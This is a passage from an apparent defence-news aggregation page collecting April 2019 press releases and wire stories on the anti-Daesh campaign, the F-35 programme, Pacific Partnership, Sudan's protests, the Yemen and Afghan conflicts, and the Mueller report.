Syria, via social media report. 107. Jan. 20, 2019, near al-Shajlah, Syria, via self-report. 108. Jan. 22, 2019, near al-Shajlah, Syria, via social media report. 109. Jan. 23, 2019, near al-Baghouz, Syria, via social media report. 110. Jan. 25, 2019, near al-Baghouz Fawqani, Syria, via self-report. 111. Jan. 25, 2019, near al-Mrashdah, Syria, via self-report. 112. Feb. 6, 2019, near al-Busayrah, Syria, via self-report. 113. Feb. 10, 2019, near Omer Oil fields, Syria, via media report and Airwars report. 114. Feb. 11, 2019, near al-Baghouz, Syria, via social media report. 115. Feb. 12, 2019, near al-Baghouz, Syria, via social media report. 116. Mar. 2, 2019, near al-Baghouz Fawqani, Syria, via self-report. 117. Mar. 10, 2019, near Qayyarah-West Airfield, Iraq, via media-report. 118. Mar. 11, 2019, near al-Baghouz, Syria, via social media report. 119. Mar. 14, 2019, near al-Baghouz, Syria, via media report. 120. Mar. 17, 2019, near al-Baghouz, Syria, via social media report. 121. Mar. 18, 2019, near al-Baghouz Fawqani, Syria, via self-report. 122. Mar. 20, 2019, near Anbar province, Iraq, via self-report. -30- NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address CJTF-OIR strikes Daesh in Wadi Ashai U.S. Central Command Release No: 19-026 April 25, 2019 April 25, 2019 Release # 20190425-02 FOR IMMEDIATE RELEASE SOUTHWEST ASIA Combined Joint Task Force Operation Inherent Resolve supported Iraqi Security Forces against Daesh targets in Wadi Ashai, April 24, 2019, disrupting their ability to regroup and reorganize. Since the fall of Daesh's so-called caliphate in March 2019, remnant Daesh fighters have been attempting to move munitions, equipment, and personnel into Iraq in an effort to set conditions for their resurgence. The recent airstrikes in Wadi Ashai were conducted in support of Iraq's own elite Counter-Terrorism Service and designed to deny Daesh's capacity to conduct terrorist operations. "Although the territory once held by the so-called caliphate is fully liberated, Daesh fighters still exhibit their intention to exert influence and stage a comeback," said Maj. Gen. Chad Franks, deputy commander-operations and intelligence for CJTF-OIR. "These airstrikes have demonstrated the Coalition's continued resolve to work with our Iraqi partners to strike Daesh wherever we find them as we continue to eliminate Daesh's violent extremist ideology." The 74 nations and five international organizations that constitute the Global Coalition operating at the invitation of the Government of Iraq in support of Iraqi Security Forces in the regional pursuit of an enduring defeat of Daesh. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address U.S. Navy to Support Japanese-led F-35A Search and Recovery Operations Navy News Service Story Number: NNS190425-10 Release Date: 4/25/2019 11:25:00 AM From U.S. 7th Fleet Public Affairs OKINAWA, Japan (NNS) -- A U.S. Navy salvage team embarked a contracted vessel and departed Okinawa, April 24, to assist Japanese-led search and recovery operations for a downed Japan Air Self Defense Force (JASDF) F-35A. DSCV Van Gogh is a multipurpose diving support and construction vessel equipped with U.S. Navy remotely operated vehicles and a U.S. Navy towed-pinger locator (TPL-25) system. The F-35A aircraft went missing approximately 85 miles east of Misawa Air Base on Apr. 9. From Apr. 9-17, U.S. Navy guided-missile destroyer, USS Stethem (DDG 63) and P-8A Poseidon aircraft joined JASDF forces April 9-17, searching an area spanning approximately 5,000 square nautical miles. U.S. Navy P-8A Poseidon maritime patrol aircraft flew a total of 182 hours. U.S. Navy'sOur thoughts continue to be with the pilot's family, friends and colleagues. The seamless cooperation between the U.S. military and the JASDF during this operation is yet another reflection of a strong aAlliance, forged over decades of mutual support and friendship. U.S. 7th Fleet provides security alongside allies and partners throughout a free and open Indo-Pacific. As the U.S. Navy's largest forward-deployed fleet, 7th Fleet operates roughly 50-70 ships and submarines, and 140 aircraft with approximately 20,000 Sailors. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address NIWC Atlantic Joint Strike Fighter Logistics System Support Provides Warfighters a Strategic Advantage Navy News Service Story Number: NNS190425-11 Release Date: 4/25/2019 2:17:00 PM By Holly Carey, Naval Information Warfare Center Public Affairs CHARLESTON, S.C. (NNS) -- Naval Information Warfare Center (NIWC) Atlantic provides software and architecture engineering support to the Department of Defense F-35 Joint Strike Fighter (JSF) logistics system. The autonomic logistics information system (ALIS) integrates a broad range of capabilities including operations, maintenance, prognostics, supply chain, customer support services, training and technical data. A single, secure information environment provides users with up-to-date information on any of these areas using web-enabled applications on a distributed network. "NIWC Atlantic has been so instrumental to ALIS because the organization has provided highly skilled people to fulfill a variety of roles, from cybersecurity, network architecture, propulsion and new site implementation, to sustainment management," said Cmdr. "Tripper" McGee, F-35 joint program office (JPO) ALIS lead. "NIWC Atlantic has been very responsive to changing program needs for personnel." The NIWC Atlantic air and space team supports the F-35 JPO with software development and integration, project management and cybersecurity. "NIWC Atlantic is strategically placed to bring new capabilities at a reduced cost to the program with a focus on products, people and processes, while delivering information warfare solutions that directly benefit the warfighter," said John W. Smith Jr., NIWC Atlantic information technology systems architect. NIWC Atlantic conducts system architecture design and reviews, laboratory hardware/software testing, local site network design/engineering activities, system installation and testing, technical refresh plan development, requirements change management, and contract development and evaluation for ALIS. The F-35 is the first tactical aviation system to have sustainment tools engineered in concert with the aircraft for efficiency and cost effectiveness. Compared to previous aircraft, a higher fidelity of information about the F-35 fleet is tracked within ALIS to reduce operations and maintenance costs and increase aircraft availability. "The people in the F-35 joint program office, as well as those from Lockheed Martin Aerospace and Pratt & Whitney, are high performing professionals and a pleasure to work together with," said Tom Gwiazdowski, NIWC Atlantic software integrator for ALIS. "It's great to be part of fielding this capability for the U.S. Air Force, U.S. Marine Corps and U.S. Navy, as well as several of our allied partners, knowing the F-35 will be in operation for decades to come." The F-35 JPO completed fielding of ALIS 2.0.2.4 in early 2019. ALIS 3.1, which will be fielded in the summer of 2019, incorporates prognostic health of the propulsion system. ALIS 3.5, which is scheduled to be released in October 2019, will include further upgrades. ALIS undergoes cybersecurity testing during each iteration, and corrective actions are taken to address any vulnerabilities. The F-35 Lightning II Program (also known as the Joint Strike Fighter Program) is the Department of Defense's focal point for defining affordable next generation strike aircraft weapons systems for the Navy, Air Force, Marines and allies. The F-35 will bring cutting-edge technologies to the battlespace of the future. As a part of Space and Naval Warfare Systems Command, NIWC Atlantic provides systems engineering and acquisition to deliver information warfare capabilities to the naval, joint and national warfighter through the acquisition, development, integration, production, test, deployment, and sustainment of interoperable command, control, communications, computer, intelligence, surveillance, and reconnaissance, cyber and information technology capabilities. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Military Sealift Command vessel USNS Brunswick plays critical role during Pacific Partnership 2019 Navy News Service Story Number: NNS190425-06 Release Date: 4/25/2019 10:03:00 AM From Pacific Partnership 2019 Public Affairs CHUUK, Federated States of Micronesia (NNS) -- Since 2015, expeditionary fast transport ships have proven crucial to the success of Pacific Partnership. This year's mission features the expeditionary fast transport ship USNS Brunswick (T-EPF 6) for stops in the Republic of Marshall Islands and Federated States of Micronesia as the platform to transport the Pacific Partnership team, whose goal is to enable regional resilience for effective disaster response. Civilian mariner (civmar) Cory Holland, second officer onboard Brunswick, was a member of the 2015 Pacific Partnership team, the first iteration to feature an EPF. "Since 2015, both Military Sealift Command (MSC) and the military have gotten to know the EPF much better, allowing for more effective planning and more efficient missions," he said. "We utilize the EPF capabilities better and enable more adaptive missions, like we've already seen this year." The Pacific Partnership team, which recently departed the Marshall Islands, expanded the scope of the original PP19 mission to include visits to the outer Micronesian islands, providing support to the people of the Federated States of Micronesia in close coordination with local authorities, the U.S. Embassy, and USAID. MSC civmar Capt. Adam Streeper, ship's master, explained the opportunity this year's mission has afforded his ship and crew. "The mission expansion in FSM has shown that our civilian mariners are ready to flex. Due to this crew's ability to adapt around the ever-changing mission set of the EPF class, Brunswick is able to deliver in ways that other ships cannot," said Streeper. "I was on Pacific Partnership 2018, and last year's mission was much more conventional, based around classroom sessions and training. This year is the first time I've seen civmars able to go ashore to help with the mission alongside military personnel that's awesome. It's great to be here for more than just the day-to-day ship operations. "The mission is a team," he continued. "It's not just military or just civmars when it's everyone together, that's the real deal." The Spearhead-class EPF has several unique features that make it an ideal platform for flexible missions. With an overall length of 338 feet, a beam of 93.5 feet, and a draft of 12.5 feet, the ship maneuvers well in close quarters. Brunswick has been underway in support of Pacific Partnership 2019 since March 4. So far, the ship has transported the Pacific Partnership team to Majuro and Kwajalein in the Republic of the Marshall Islands and almost a dozen islands within Chuuk State in the Federated States of Micronesia. Civilian mariner Chris DeSousa, Brunswick's chief engineer, is onboard for his third Pacific Partnership. "This year's mission is the best thing I've been a part of," he said. "What we're doing here in Micronesia is perfect to showcase the adaptability of the EPF. This is what this class of ship was designed for multi-use and multi-purpose, able to flex and navigate where needed, not just where we've been before. "The design of the ship's propulsion systems helps missions like Pacific Partnership when maneuvering in close quarters situations," he continued. "We are also equipped to support various mission requirements and have also been experimenting with new ideas to help further expand the EPF class capabilities." Brunswick is the sixth Spearhead-class expeditionary fast transport currently in service with the MSC and is the fourth ship in naval service to be named after Brunswick, Georgia. The Pacific Partnership mission began in response to one of the world's most catastrophic natural disasters, the December 2004 tsunami that devastated parts of South and Southeast Asia. The mission has evolved over the years from emphasis on direct care to an operation focused on enhancing partnerships through host nation subject matter expert and civil-military exchanges. Pacific Partnership, now in its 14th iteration, is the largest annual multinational humanitarian assistance and disaster relief preparedness mission conducted in the Indo-Pacific. Each year, the mission team works collectively with host and partner nations to enhance regional interoperability and disaster response capabilities, increase stability and security in the region, and foster new and enduring friendships in the Indo-Pacific. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Sudanese marchers converge on army HQ to confront junta rulers Iran Press TV Thu Apr 25, 2019 06:25PM Sudanese marchers have converged from all directions on army headquarters for a "million-strong" demonstration to turn up the heat on the junta rulers. Witnesses said marchers were closing in on the main protest site from different directions in the capital Khartoum on Thursday. Across the city, demonstrators arrived at the army headquarters from the states of Jazeera, White Nile and also from Shendi, increasing the numbers already camped at the site, many of them for the past several weeks. Sudanese judges from the Supreme Court also joined the protests for the first time. "We are here to give a message that the judiciary should be independent without any political intervention," media outlets quoted a judge as saying. Crowds of protesters also gathered outside Egypt's embassy and consulate, which were surrounded by riot police. They held banners calling on Egyptian President Abdel Fattah el-Sisi not to "interfere in our affairs", after Cairo hosted a summit of African leaders calling for more time for a transition to civilian rule in Sudan. The Sudanese Professionals Association (SPA), which led the protests against deposed President Omar al-Bashir, says the march calls for "civilian rule" in the country. "Our sit-in will continue to protect our revolution and to ensure that all our demands are achieved," SPA said in a statement. The latest demonstrations came after the military council announced that three members of the ruling body had stepped down after demands from protesters. The Sudan's Transitional Military Council (TMC) took over after toppling President Omar al-Bashir on April 11. Protest leaders have vowed to continue organizing sit-ins and other rallies as part of a widening campaign to confront the junta and push for the transfer of power to a civilian council. The protests in Sudan broke out on December 19, 2018, in the face of a government decision to triple the price of bread. They quickly turned into a mass movement across the country against the ruling regime, and finally led to Bashir's ouster. Bashir, who ruled over Sudan for 30 years, had taken power in a coup in 1989. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Yemeni combat drone targets Saudi mercenaries' command center in Aden: Report Iran Press TV Thu Apr 25, 2019 01:09PM Yemeni army soldiers, backed by allied fighters from Popular Committees, have launched an airstrike against a command center of Saudi-sponsored militiamen loyal to Yemen's former president, Abd Rabbuh Mansur Hadi, in the country's southern province of Aden. A Yemeni military source, speaking on condition of anonymity, said Yemeni soldiers and their allies attacked the military site in the al-Burayqah district of the province on Thursday, using a domestically-designed and -manufactured Qasef K2 (Striker K2) combat drone. Later in the day, Yemeni troopers and fighters from Popular Committees carried out an ambush against vehicles carrying Saudi-paid militiamen on the outskirts of al-Sadis area in Saudi Arabia's southern border region of Najran, killing or injuring those on board. An unnamed Yemeni military official also said Yemeni troops and their allies had managed to purge a number of Saudi mercenaries' positions east of al-Nar Mountain in the kingdom's Jizan region. The official noted that several Saudi-sponsored militiamen were killed or wounded in the process. Saudi Arabia and a number of its regional allies launched a devastating campaign against Yemen in March 2015, with the goal of bringing the government of Hadi back to power and crushing Houthi Ansarullah movement. According to a December 2018 report by the Armed Conflict Location and Event Data Project (ACLED), a nonprofit conflict-research organization, the Saudi-led war has claimed the lives of over 60,000 Yemenis since January 2016. The war has also taken a heavy toll on the country's infrastructure, destroying hospitals, schools, and factories. The UN said in a report in December 2018 that over 24 million Yemenis are in dire need of humanitarian aid, including 10 million suffering from extreme levels of hunger. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Pakistan to Not Meddle in Afghan Internal Affairs - Imran Khan Sputnik News 20:34 25.04.2019(updated 20:35 25.04.2019) With Iran expressing its displeasure over the US indulging in direct talks with the terror organisation Taliban, Pakistan Prime Minister Imran Khan has declared his country will not intervene in internal conflicts of Afghanistan. New Delhi (Sputnik) Islamabad will not be part of any internal conflict in war-torn Afghanistan anymore, Pakistan Prime Minister Imran Khan said on Thursday amid ongoing Afghanistan peace process. The statement holds significance as it indicates Islamabad is not happy with the confrontational approach of Kabul and the dealing of peace process by the US which has been making efforts to withdraw its troops from Afghanistan at the earliest. "It is not right to seek an edge in dialogue through coercion. Pakistan implores all parties to recognise the importance of the moment and seize it. Pakistan has committed all diplomatic and security capital to success of peace process," said a statement issued by the Prime Minister's Office, according to report in Pakistani Daily The Dawn. "Pakistan has committed all diplomatic and security capital to success of [the] peace process. Pakistan will not be party to any internal conflict in Afghanistan anymore," it added. Khan's statement came hours after Iranian Foreign Minister Mohammad Javad Zarif in a remark criticised the US holding talks with the Taliban, saying the US push for a deal with the extremists was "seriously wrong". "An attempt to exclude everybody and just talk to the Taliban has alienated the government, has alienated the region, has alienated everybody else and it achieved nothing, as you've seen from the statement that came from the Taliban," Zarif reportedly said at the Asia Society in New York which he was visiting to participate in a UN session. US envoy to Afghanistan Zalmay Khalilzad, who has met with the Afghan Taliban on several occasions and has pressed for Afghan-to-Afghan talks, is scheduled to visit Afghanistan, Pakistan, India and Qatar, as well as Russia and United Kingdom, for further talks beginning from Monday. Earlier this week, a scheduled peace talk in Doha, the capital city of Qatar, was cancelled at the last moment after the Afghanistan government stopped its delegates from proceeding to Doha in protest over Qatari list of participants. Khan also expressed dismay over the rising number of deaths after Taliban had announced "Spring Offensive" earlier this month. Pakistan Prime Minister also condemned the spring offensive, saying: "Pakistan is highly dismayed by the surge of violence in Afghanistan from all sides. The so called offensives are condemnable and will undermine the peace process." Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Sudan Military Council Vows to Hand Over Exec Power to Civilian Bodies - Reports Sputnik News 19:37 25.04.2019 CAIRO (Sputnik) - Sudan's transitional military council said Thursday it plans to hand over executive powers to civilian structures, Al Arabiya reported Thursday. Council spokesman Shams El Din Kabbashi said the council will retain only sovereign authority. Meanwhile, Algerian APS news agency reported that thousands of protesters gathered next to the Defence Ministry building in the Sudanese capital of Khartoum to once again demand the transfer of power from the military council to civilian government. The "march of millions" was called by the Sudanese Professionals Association, one of the key groups behind the protests in the country, Algerian APS news agency said. The group has repeatedly demanded the creation of a civilian governing council. The protesters continue to hit the streets, despite the meeting on Wednesday evening between the transitional military council and the leaders of the opposition, which resulted in some agreements. Representatives of the Sudanese judiciary system will join the rally in Khartoum. Several dozen judges will march from the Constitutional Court building to the building complex of the Defence Ministry, demanding independence of the judicial system. Sudan has been rocked by protests, which often turned violent and resulted in deaths and injures, since December. The demonstrations were initially triggered by the rise in price for bread and other consumer goods that greatly increased the vulnerability of Sudanese citizens. The protests then took on a new dimension as Sudanese citizens started calling for the resignation of the country's long-serving ruler, Omar Bashir. The culmination reached in early April when Bashir, who had been in power for nearly 30 years, was detained by the country's military. The transitional military council promised to hold a new election in two years' time. However, protesters continued to hit the streets, demanding the military to hand power to a new civilian government. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Runaway F-35 Bill to Impair Norway's Defence Capacity - Report Sputnik News 11:07 25.04.2019 A drastically inflated bill for F-35 fighter jets would inadvertently hurt other branches of the Norwegian defence forces, a newspaper has warned amid ballooning costs, prompting strong reactions from Norwegian parties. The total cost of the massive F-35 investment may be around NOK 16 billion (almost $1.9 billion) higher than the preliminary calculation made in 2012, the Norwegian newspaper Bergens Tidende reported. Since the cost of fighter aircraft and necessary infrastructure will be covered almost entirely by the Armed Forces, this will mean that an annual NOK 2 billion ($230 million) may disappear from their running budget until 2025. "The follow-up to the Norwegian Armed Forces' long-term plan will fail, if the fighter aircraft investment is overblown by such a sum," Royal Naval Academy researcher Stale Ulriksen told the newspaper Bergens Tidende. His concerns were shared by active servicemen. "I don't see how the Armed Forces will be able to finance this on their own. This will have a dramatic effect on the Armed Forces' operational capabilities," Jens Jahren, the leader of the military officers' organisation BFO said. Major General Morten Klever, a programme director at the Ministry of Defence, acknowledged that the probability of reaching the spending objectives set in 2012 has become lower. Still, this doesn't mean that they have been set aside, he argued. In this year's budget, however, the Ministry of Defence has removed the condition that the spending objective must be maintained. This has sent a ripple through the Norwegian parties. Labour politician Martin Kolberg condemned the government for not informing parliament that the spending goal may not be reached. Other opposition politicians minced no words about Norway's largest defence acquisition. "Now we have to pull in the emergency brake and stop the order of the remaining jets", Socialist Left party leader Audun Lysbakken told Bergens Tidende. On Twitter, he elaborated his ideas further. "This is a great disclosure and it's very serious. We have long warned that buying too many fighter jets is a price bomb that threatens our defence. Now the government must put the cards on the table, and further jet purchases must be stopped!" Lysbakken tweeted. His party colleague Kari Elisabeth Kaski called the F-35 affair "a scandal of dimensions". "The red-green purchase of F-35 (naturally, supported by the right-wing parties) is becoming increasingly scandalous. I hope more people understand that the F-35 is the cuckoo who pushes the rest of the defence (budget) out of the nest," Reds leader Bjrnar Moxnes tweeted. The Norwegian Armed Forces, however, have disputed Bergens Tidende's figures. They believe that the cost has increased by a "mere" NOK 8.2 billion ($960 million). Among other things, they argued that around NOK 2.7 billion ($310 million) that will be spent on upgrading the air bases on rland and Evenes to be compatible with F-35s are not directly related to the fighter aircraft acquisition. While Norway's air force has recently reduced its number of bases, it has made massive investments in procuring new aircraft. With 52 F-35s in total, Norway will become one of Europe's foremost users of the US-made fighter jet, despite the project's well-documented flaws and skyrocketing costs. So far, Norway has received nine F-35 fighter aircraft, with an average price tag of NOK 1.375 billion apiece (roughly $160 million), with another seven still in the US for tests. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Two Terrorists Killed in Shootout with Indian Security Forces in Kashmir Sputnik News 10:51 25.04.2019 In the sustained counter-terrorism efforts India has launched after the 14 February Pulwama attack, when more than 40 Indian soldiers were killed by Jaish-e-Mohammed (JeM) jihadists, 41 terrorists have already been killed. Out of them, 25 belonged to JeM, claims the Indian Army. New Delhi (Sputnik): Two terrorists affiliated with the jihadi group Hizb-ul-Mujahideen were killed in a gunfight with Indian security forces in the town of Bijbehara in south Kashmir early in the morning on Thursday in the northernmost Indian state of Jammu and Kashmir, reports news portal Risingkashmir. As per local police officials, the two local terrorists have been identified as Safder Amin Bhat (age 25) and Burhan Ahmad Ganie (25). The two men had joined the terrorist outfit two years ago, added the report. A cordon and search operation was launched at Bagender Mohalla in the Bijbehara area after reports were received about the presence of terrorists in the area. "The provocative firing by terrorists was retaliated (against) appropriately by security forces, triggering a gunfight in which two militants were killed. The bodies have been retrieved," a local police official said. Earlier on Wednesday, the head of the Indian Army's Srinagar unit K. J. S. Dhillon said in a press briefing that 69 terrorists had been killed in anti-terrorist operations, while 12 have been arrested this year so far. He added that since the Pulwama attack, where more than 40 Indian servicemen were killed by Jaish-e-Mohammed (JeM) on 14 February, 41 terrorists have already been killed, including 25 that belonged to JeM. "Out of 25 killed JeM militants, 13 were foreigners. Basically we have targeted the JeM leadership. The situation now is, there is no one coming forward to take the leadership of JeM in the valley," Dhillon added. Following the Pulwama attack, the Indian Air Force conducted a 'non-military pre-emptive' aerial strike in Balakot inside Pakistan on 26 February to wipe out alleged terror infrastructure operated by JeM. Pakistan retaliated on the following day, with over two dozen fighter jets entering the Indian airspace. An aerial clash ensued between the two nuclear-armed nations for the first time in five decades. An Indian MiG-21 Bison reportedly shot down a Pakistani F-16 before it crashed inside Pakistan's territory; India also lost a plane. Pakistan has, however, denied that the F-16 plane was shot down. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Wing begins annual mission to Greenland By Master Sgt. Christine Wood, 109th AW Public Affairs / Published April 25, 2019 STRATTON AIR NATIONAL GUARD BASE, N.Y. (AFNS) -- Airmen of the 109th Airlift Wing kicked off their annual support for National Science Foundation research in Greenland April 23, as about 80 Airmen and three LC-130 Hercules aircraft left Stratton Air National Guard Base for Kangerlussuaq, Greenland. This is the first of six rotations of aircraft and personnel from the Scotia Air Base to Greenland. Approximately 200 Airmen will participate in the missions that go from April to August. The Airmen and aircraft of the New York ANG's 109th AW provide support for the NSF by transporting fuel, cargo and passengers to and from the various camps throughout Greenland. The wing flies the LC-130 which is a ski-equipped version of the Hercules tactical transport aircraft. The LC-130s are the largest aircraft in the world which can land on ice or snow. The National Science Foundation supports teams conducting climate research across the Greenland ice cap. Kangerlussuaq is used as a base because it is home to Greenland's largest airport. During the 2018 season, the 109th AW completed 92 missions, transporting 780 passengers and delivering 1.6 million pounds of cargo and nearly 68,000 gallons of fuel to various camps throughout Greenland. The wing also flew 146 training flights during last season. "We are leading the way in the Arctic with exercises and airlift missions, " said Col. Michelle Kilgore, 109th Airlift Wing commander. Military leaders say they expect missions in the Arctic to increase and the 109th AW expects to be part of that, Kilgore said. "Our Airmen are consistently challenged with a high ops tempo with year-round missions taking us to the North and South poles. I am so proud of the work they do both at home and around the globe. As this Greenland season kicks off I am confident they will exceed all expectations," Kilgore said. From October to March, the 109th AW supports Operation Deep Freeze in Antarctica, and in the summer months, the unit flies to Greenland to not only continue its support for the NSF but to also train for ODF. Training includes flight operations and arctic survival training known as "Barren Land Arctic Survival Training," held at Raven Camp at the end of May. Approximately 30 students will be attending the week-long course. This training consists of survival conditions, personal protection, sustenance/nutrition, medical, equipment laboratory, signaling and recovery. "Working in or potentially surviving in the harsh Arctic elements encountered during our Greenland and Antarctica missions make the Barren Land Arctic Survival Training essential to our 109th Airlift Wing members," said Staff Sgt. Shannon Schiller, 109th AW noncommissioned officer in charge of the wing's Airfield Flight Equipment continuation training program. "There is a real possibility of having one of our ski-equipped aircraft and its crew become stranded in a barren land situation. If stranded, this training will equip our personnel with the knowledge and survival techniques necessary to survive in those hostile environments," Schiller said. The wing's presence in Kangerlussuaq also lends itself to a growing relationship between the Airmen and the local community. "This year the 109th Airmen are also collecting children's shoes, books, bikes, jackets and other gear to donate to the villagers of Kangerlussuaq, who host the mission each year," said 1st Lt. Mathew Begin, 109th Aircraft Maintenance Squadron officer in charge. "This effort is just another small way to help out our extended family in Greenland. Any time there's a chance to give back and make a difference in someone else's life, take it, no matter how large or small ... I'm proud to be surrounded by a unit dedicated to investing in people and the community, equally to accomplishing the mission," Begin said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Envoy Urges Peace Deal in Afghanistan to Lower Death Toll By VOA News April 25, 2019 The U.S. envoy negotiating with the Taliban in Afghanistan, Zalmay Khalilzad, says the answer to lowering the death toll in that country is to achieve a peace deal. Wednesday, the United Nations released a report saying more Afghan civilians were killed in the first three months of 2019 by U.S. and Afghan government forces than by the Taliban and other insurgents. Khalilzad said Thursday on Twitter that the deaths "outrage us all & we stand w/Afghans who protest the deaths & want to end the bloodshed." He said, "We deeply regret any loss of innocent life during military operations" and added the "real solution is a cease-fire or reduced violence as we pursue lasting peace." The U.N. report said in the first three months of 2019, pro-government forces caused 305 deaths and 303 injuries among civilians, while insurgent groups killed 227 civilians and injured 736. Women and children made up half of the civilian casualties from all aerial operations, according to the report. But overall, it was the least deadly first quarter since 2013. The U.N. attributed the lower number to the decrease in suicide bombings in the embattled country. "It is unclear whether the decrease in civilian casualties was influenced by any measures taken by parties to the conflict to better protect civilians, or by the ongoing talks between parties to the conflict," the United Nations report said. "A shocking number of civilians continue to be killed and maimed each day. All parties must do more to safeguard civilians," Tadamichi Yamamoto, U.N. special representative for Afghanistan, said in a statement. "All parties must do more to safeguard civilians." Khalilzad echoed that sentiment on Thursday, saying in a third tweet, "For us, peace is the agenda." Taliban spokesman Zabihullah Mujahid said that Yamamoto met Thursday with the head of the insurgent group's "political office," Mullah Abdul Ghani Baradar, in Qatar and "showed his appreciation for the decrease in civilian casualties caused by the Islamic Emirate [Taliban]." In a statement sent to journalists, Mujahid noted the "extensive discussions" between the two sides in Doha covered the Afghan peace process, civilian casualties and humanitarian operations in Taliban-controlled areas. He said that Baradar "encouraged" Yamamoto and his delegation in Afghanistan to "strictly adhere to the principles of impartiality in such issues and appropriately discharge their responsibilities in the discussed arenas." The Taliban spokesman said some members of their team engaged in negotiations with Khalilzad. There was no immediate comment from the U.N. office in Kabul about Yamamoto's visit to the Qatari capital. Ayaz Gul in Islamabad, Pakistan, contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Khan: Pakistan Will No Longer Be Party to Afghan Conflict By Ayaz Gul April 25, 2019 Pakistan says it is "highly dismayed" at the recent surge in hostilities in Afghanistan "from all sides," warning it would harm ongoing efforts to bring peace to the war-ravaged neighboring country. Prime Minister Imran Khan issued the statement Thursday as the United States makes diplomatic efforts to seek a negotiated settlement to the 17-year-old Afghan war. "Pakistan implores all parties to recognize the importance of the moment and seize it," said Khan whose government takes credit for arranging Washington's ongoing direct talks with the Afghan Taliban. However, the months-long U.S.-initiated dialogue process did not discourage the Islamist insurgent group from launching this year's "spring offensive," which marks an increase in deadly battlefield attacks in Afghanistan. The Taliban justified the move, saying the country was still under "foreign occupation" and U.S.-backed Afghan security forces unleashed their own spring operations against insurgents. Afghan leaders have long accused Pakistan of covertly supporting the Taliban to regain power in Kabul, in what they call an effort to continue Islamabad's meddling in Afghan affairs, charges Pakistani officials deny. "Pakistan has committed all diplomatic and security capital to success of peace process. Pakistan will not be party to any internal conflict in Afghanistan anymore," Khan asserted while responding to skeptics. Zalmay Khalilzad, who is leading the U.S. team of negotiators in talks with the Taliban, embarked on a fresh visit this week to Afghanistan and regional countries, hoping to make progress on resolving differences between various Afghan groups and the Taliban to bring them to the table for intra-Afghan peace talks. Khalilzad is scheduled to hold another round of talks with Taliban envoys in Qatar during his current trip that will also take him to meetings with leaders in Pakistan. Khan underlined in his statement Thursday the ongoing Afghan peace effort offered "a historic opportunity" for bringing peace to the region and ending decades of Afghan suffering. "Pakistan is fully supporting the process, including the next logical step of an intra Afghan dialogue wherein Afghans will themselves decide upon the future of their country," the Pakistani leader stressed. The Taliban, however, refuses to engage in any formal Afghan political dialogue for peace until a timetable is set for all U.S.-led foreign forces to leave Afghanistan. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Trump Rejects Mueller Conclusion That He Tried to Get Him Fired By Ken Bredemeier April 25, 2019 U.S. President Donald Trump is denying that he ordered White House Counsel Donald McGahn to fire special counsel Robert Mueller, to thwart Mueller's investigation into Trump campaign links to Russia in the 2016 election. "As has been incorrectly reported by the Fake News Media, I never told then White House Counsel Don McGahn to fire Robert Mueller, even though I had the legal right to do so," Trump said Thursday on Twitter. "If I wanted to fire Mueller, I didn't need McGahn to do it, I could have done it myself." In his 448-page report released a week ago, Mueller said that Trump called McGahn twice at home in June 2017 and "directed him to have the special counsel removed." But Mueller said McGahn, who served as Trump's White House lawyer for 21 months before leaving last October, "was perturbed" by Trump's demand and "did not intend to act on the request." Trump's broadside against the Mueller report is part of his growing anger at the prosecutor's portrayal of his presidency after initially claiming the report exonerated him of wrongdoing. Opposition Democrats in Congress have launched several investigations of Trump's actions as president, his successful presidential campaign and his personal and business taxes, some of it based on Mueller's findings after a 22-month investigation. But Trump is vowing to try to block all efforts to investigate him, saying, "We're fighting all the subpoenas," among them one for McGahn to testify about his dealings with Trump. Trump, in one of three tweets, said, "Mueller was NOT fired and was respectfully allowed to finish his work on what I, and many others, say was an illegal investigation (there was no crime), headed by a Trump hater who was highly conflicted, and a group of 18 VERY ANGRY Democrats." The U.S. leader concluded, "Despite the fact that the Mueller Report was "composed" by Trump Haters and Angry Democrats, who had unlimited funds and human resources, the end result was No Collusion, No Obstruction. Amazing!" Trump's assessment of the report is partly at odds with what Mueller found. The prosecutor concluded that neither Trump nor his campaign, despite numerous contacts with Russian operatives, conspired with Russians to help him defeat his Democratic challenger, Hillary Clinton. The prosecutor, however, cited 11 instances of possible obstruction of justice by Trump, but reached no conclusion on whether he had broken the law. Mueller said in his report that, "If we had confidence after a thorough investigation of the facts that the President clearly did not commit obstruction of justice, we would so state. Based on the facts and the applicable legal standards, however, we are unable to reach that judgment. "The evidence we obtained about the President's actions and intent presents difficult issues that prevent us from conclusively determining that no criminal conduct occurred." It added that, "Accordingly, while this report does not conclude that the President committed a crime, it also does not exonerate him." With Mueller reaching no decision on the obstruction question, Attorney General William Barr decided that such charges against Trump were not warranted. Mueller concluded, "The President's efforts to influence the investigation were mostly unsuccessful, but that is largely because the persons who surrounded the President declined to carry out orders or accede to his requests." The prosecutor noted that aside from McGahn not acceding to Trump's demand to oust Mueller, James Comey, the former Federal Bureau of Investigation director whom Trump eventually fired, did not carry out Trump's request that he abandon the investigation of former national security advisor Michael Flynn's contacts with the then-Russian ambassador to Washington. Mueller said other presidential aides also did not carry out Trump's demands to tell then-attorney general Jeff Sessions to limit the Russia investigation to future election meddling, not the 2016 election. The Mueller report said McGahn "refused to recede from his recollections about events surrounding the President's direction to have the Special Counsel removed, despite the President's multiple demands that he do so." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address In Sudan, Tens of Thousands March for Civilian Rule By Naba Mohiedeen April 25, 2019 Tens of thousands of people marched in Sudan's capital Thursday for what organizers called a "million strong march" in support of civilian rule. The rally took place even though Sudan's ruling Transitional Military Council (TMC) and opposition groups agreed to form a committee to resolve their disagreements. Throngs of protesters poured onto Khartoum's streets Thursday, calling for military leaders who toppled president Omar al-Bashir to hand over power to civilian leaders. Sudan's main 